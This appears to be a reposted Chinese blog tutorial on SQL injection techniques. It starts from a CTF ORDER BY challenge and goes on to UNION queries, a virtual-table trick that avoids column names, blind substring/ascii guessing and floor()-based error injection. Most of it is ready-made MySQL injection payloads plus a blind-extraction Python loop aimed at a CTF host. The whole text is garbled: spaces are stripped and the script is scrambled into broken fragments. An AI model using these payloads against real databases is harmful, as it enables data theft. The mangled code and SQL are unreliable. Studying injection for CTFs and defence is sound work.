当前位置: 首页 > 科技观察

分享一些SQL注入的技巧

时间:2023-03-13 15:08:19 科技观察

先来一道简单的ctf注入题:一道使用orderby注入的ctf题很好,一道使用orderby的注入题。没想到orderby除了爆字段还有这个。种操作。原题地址:http://chall.tasteless.eu/level1/index.php?dir=直接进入dir后的参数为ASC,网页上有10条编号为1到10的信息。绕了一大圈,反映出来是orderby之后的参数。尝试把参数改成DESC,倒序排列。题目给了一个提示:hint:tablelevel1_flagcolumnflag给了数据表和字段,所以payload就构造好了。于是形而上学来了。插入管道字符|order后面跟一个偶数(?我这里真的不知道)会导致顺序混乱。试试下面的url:http://chall.tasteless.eu/level1/index.php?dir=|2果然排序乱了,所以如果要找出flag,就必须用下面的语句:selectflagfromlevel1_flag(原来这确实是一行一列,要不就得用limit或者group_concat了)但是网页上并没有显示这个的输出框,所以我们这样使用这个查询的结果集:|(select(selectflagfromlevel1_flag)regexp'regular')+1说明一下,括号上面的正则匹配成功返回1,所以加1就变成了2,所以如果匹配成功,网页的排序会乱,如果是排序不成功,不会乱序,所以最后的脚本:=|(selectflagfromlevel1_flaglimit0,1)regexp'sdfghj')%2b1"ordered_content=requests.get(right_url).contentwhile(1):forletterin'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':if(letter=='?'):exit()result_string_let="http/strurl_tem=result/chall.tasteless.eu/level1/index.php?dir=|(select(selectflagfromlevel1_flaglimit0,1)regexp"+"'"+result_string_tem+"'"+")%2b1"printurlcontent=requests.get(url).contentif(content!=ordered_content):result_string=result_string_temprintresult_stringbreakcontinue总结一下:1.管道符的使用(见正文)2.regexp的使用(见正文)其实在groupby之后还有一个注入,这里可以使用0x00union,intersect和我nus使用union基本语法:select语句unionselect语句intersect(交集)和minus(差集)是一样的,但是mysql不支持交集和差集,所以这也是一种判断数据库的方法。先说union:基本方法:before和after两个select语句中的字段数必须相同,否则SQL会报错,所以可以使用union命令来确定数据表中的字段数。基本构造方法:...where...unionselect1,2,3,4,...,xlimit,z,where子句可以省略,limit视情况而定。中间输入的1,2,3,4,...,x中的任意一个都可以用函数代替,最后默认排序后会拼接到结果集的最后一行。示例:mysql>select*fromlearning_testunionselect1,version(),concat('sh','it'),4,5;+------+--------+---------+--------+--------------------+|num|column2|column3|column4|bin_column|+------+--------+--------+--------+---------------------+|1|a|s|s|aaaaaaaa||2|b|s|s|ddd||3|c|s|s|wwwwwwwww||4|d|s|s|fffffff||1|5.5.53|狗屎|4|5|+-----+-----+---------+---------+--------------------+5rowsinset(0.03sec)联合查询功能强大灵活,因为它可以同时查询两个不同表的信息,即使数量两个表中的字段不同,只需这样做:mysql>select*fromlearning_testunionselect1,version(),3,group_concat(test_table),5fromtest_table;+------+----------+-------+--------+--------------------+|num|column2|column3|column4|bin_column|+------+--------+--------+--------+------------------------+|1|a|s|s|aaaaaaaa||2|b|s|s|ddd||3|c|s|s|wwwwwwwww||4|d|s|s|fffffff||1|5.5.53|3|1,2,3|5|+-----+--------+---------+--------+--------------------+5rowsinset(0.03sec)test_table中的数据结构为像这样:+------------+|test_table|+------------+|1||2||3|+------------+和learning_test表的字段数明显不同,但是我们使用group_concat()函数来拼接我们需要的内容。0x01管道字符的使用1.orderby之后可以使用|数字弄得乱七八糟,不清楚是怎么乱的。2、where子句后面可以跟|1或|0,可以产生数据,但是如果|大于一或小于零,则无法生成数据。0x02regexp的使用很简单,正则匹配,匹配对象必须是单行单列,或者字符串。基本语法:select(selectstatement)regexp'regularity'表示按照给定的规律性尝试匹配括号中查询的结果集,配对成功则返回1,配对失败则返回0。0x03group_concat()的使用将一列数据拼接,一个很方便的功能,一般和union一起使用,就像本节最后一节给出的最后一个例子。0x04在不知道字段名的情况下使用虚表输出数据-1UNIONALLSELECT*FROM((SELECT1)aJOIN(SELECTF.4from(SELECT*FROM(SELECT1)uJOIN(SELECT2)iJOIN(SELECT3)oJOIN(SELECT4)rUNIONSELECT*FROMNEWSLIMIT1OFFSET4)F)bJOIN(SELECT3)cJOIN(SELECT4)d)先分析一个ctf题的payload:普通版:-1UNIONALLSELECT*FROM((SELECT1)aJOIN(SELECTF.4from(SELECT*FROM(SELECT1)uJOIN(SELECT2)iJOIN(SELECT3)oJOIN(SELECT4)rUNIONSELECT*FROMNEWSLIMIT1OFFSET4)F)bJOIN(SELECT3)cJOIN(SELECT4)d)这是一道ctf题,前面估计是where后面的子句。这道题过滤了三个东西:1.空格,2.逗号,3.字段名绕过这里就不细说了。有很多方法。空格被%0a绕过,union命令中的逗号被join绕过,limit命令中offset中的逗号被绕过。这里,因为字段名不能出现在payload中,所以我们创建一个与查找表字段数相同的虚拟表,并将查询结果与之前的查询并集。具体如下:--比如在原查询的第二个字段输出数据...where...unionallselect*from((select1)ajoin(selectF.[要查询的字段的编号]from(select*from[Joinasmanyfieldsasthetabletoqueried]unionselect*from[要查询的表][limitclause])F--我们创建的虚拟表没有表名,所以定义一个别名,然后直接[别名].[字段号]查询数据)b--同上[有空隙就加入多少字段,满足字段数相同的原则])普通版:...where...unionallselect*from((select1)ajoin(selectF.[要查询的字段数]from(select*from[加入与要查询的表一样多的字段]unionselect*from[要查询的表][limit子句])F)b[NotyetJoinasmanyfieldsasyouwanttomeetthesamenumberoffields])payload中的join可以用逗号代替。我们平时用union的时候,总是写unionselect1,2,3,4...来填充不存在的数据,测试字段数。在这个操作中,我们在前面写上unionselect1,2,3,4...作为虚拟表的字段名。本质上并不是不知道字段名,而是返回了没有字段名的表和我们创建的字段名为1,2,3,4...的虚拟表的查询结果的交集作为结果集。这里有一点。方括号中的limit从句需要特别注意。下面的子查询selectF.[要查询的字段数]from(select*from[joinasmanyfieldsasmanyfieldsasthetabletoquery]unionselect*from[要查询的表][limit的结果集的最后一行clause],因为我们需要的数据是通过union合并到最后一行的(当我们需要的数据只有一行的时候)。如果我们需要不止一行怎么办?一个简单的测试:mysql>select*fromlearning_testunionallSELECT*FROM((SELECT1)aJOIN(SELECTF.1from(SELECT*FROM(SELECT1)uUNIONSELECT*FROMtest_tableLIMIT2OFFSET1)F)bJOIN(SELECT3)cJOIN(SELECT4)dJOIN(select5)e);+------+--------+--------+--------+-----------+|num|column2|column3|column4|bin_column|+------+--------+---------+--------+------------+|1|a|s|s|aaaaaaaaa||2|b|s|s|dddd||3|c|s|s|wwwwwww||4|d|s|s|ffffffff||1|2|3|4|5||1|3|3|4|5|+------+------+---------+--------+------------+6rowsinset(0.00sec)并且不会报错。我们需要的查询结果是第5行和第6行的2nd字段中的2和3。这是一个虚拟表的简单测试:mysql>select*from((select1)ajoin(select2)b)limit1offset1;Emptyset(0.00sec)mysql>select*from((select1)ajoin(select2)b);+---+---+|1|2|+---+---+|1|2|+---+---+1rowinset(0.00sec)可以看到我们创建的确实是一个fieldnamed1和2的虚表,这张表的结构是一行两列。使用虚表联合其他表的数据:mysql>select*from((select233)a,(select2333)b,(select23333)c,(select233333)d,(select2333333)e)unionselect*fromlearning_test;+------+------+--------+--------+------------+|233|2333|23333|233333|2333333|+-----+-----+--------+--------+------------+|233|2333|23333|233333|2333333||1|a|s|s|aaaaaaaa||2|b|s|s|ddd||3|c|s|s|wwwwwww||4|d|s|s|fffffff|+-----+-----+------+---------+-------------+5rowsinset(0.00sec)说明我们之前的分析是正确的,方法是可行的。0x05substring()和ascii()联合使用,用于猜测数据库名、表名、字段名和查询结果。具体使用:mysql>selectascii((selectsubstring((selectbin_columnfromlearning_testwherenum=2),1,1)))>10;+------------------------------------------------------------------------------------+|ascii((selectsubstring((selectbin_columnfromlearning_testwherenum=2),1,1)))>10|+------------------------------------------------------------------------------+|1|+--------------------------------------------------------------------------------+1rowinset(0.02sec)看到返回了1,也就是说查询语句selectbin_columnfromlearning_testwhere返回的结果集中第一个字符的ascii码num=2确实大于10。当然这个过程比较繁琐。可以使用脚本进行自动猜测,也可以使用sqlmap中集成的类似的自动注入功能。0x06使用floor()报错注入payload:...and(selectcount(*),concat(version(),floor(rand(0)*8))xfrominformation_schema.tablesgroupbyx)a;or...and(selectcount(*))from(select1unionselectnullunionselect!1)xgroupbyconcat(version(),floor(rand(0)*2)))

最新推荐
猜你喜欢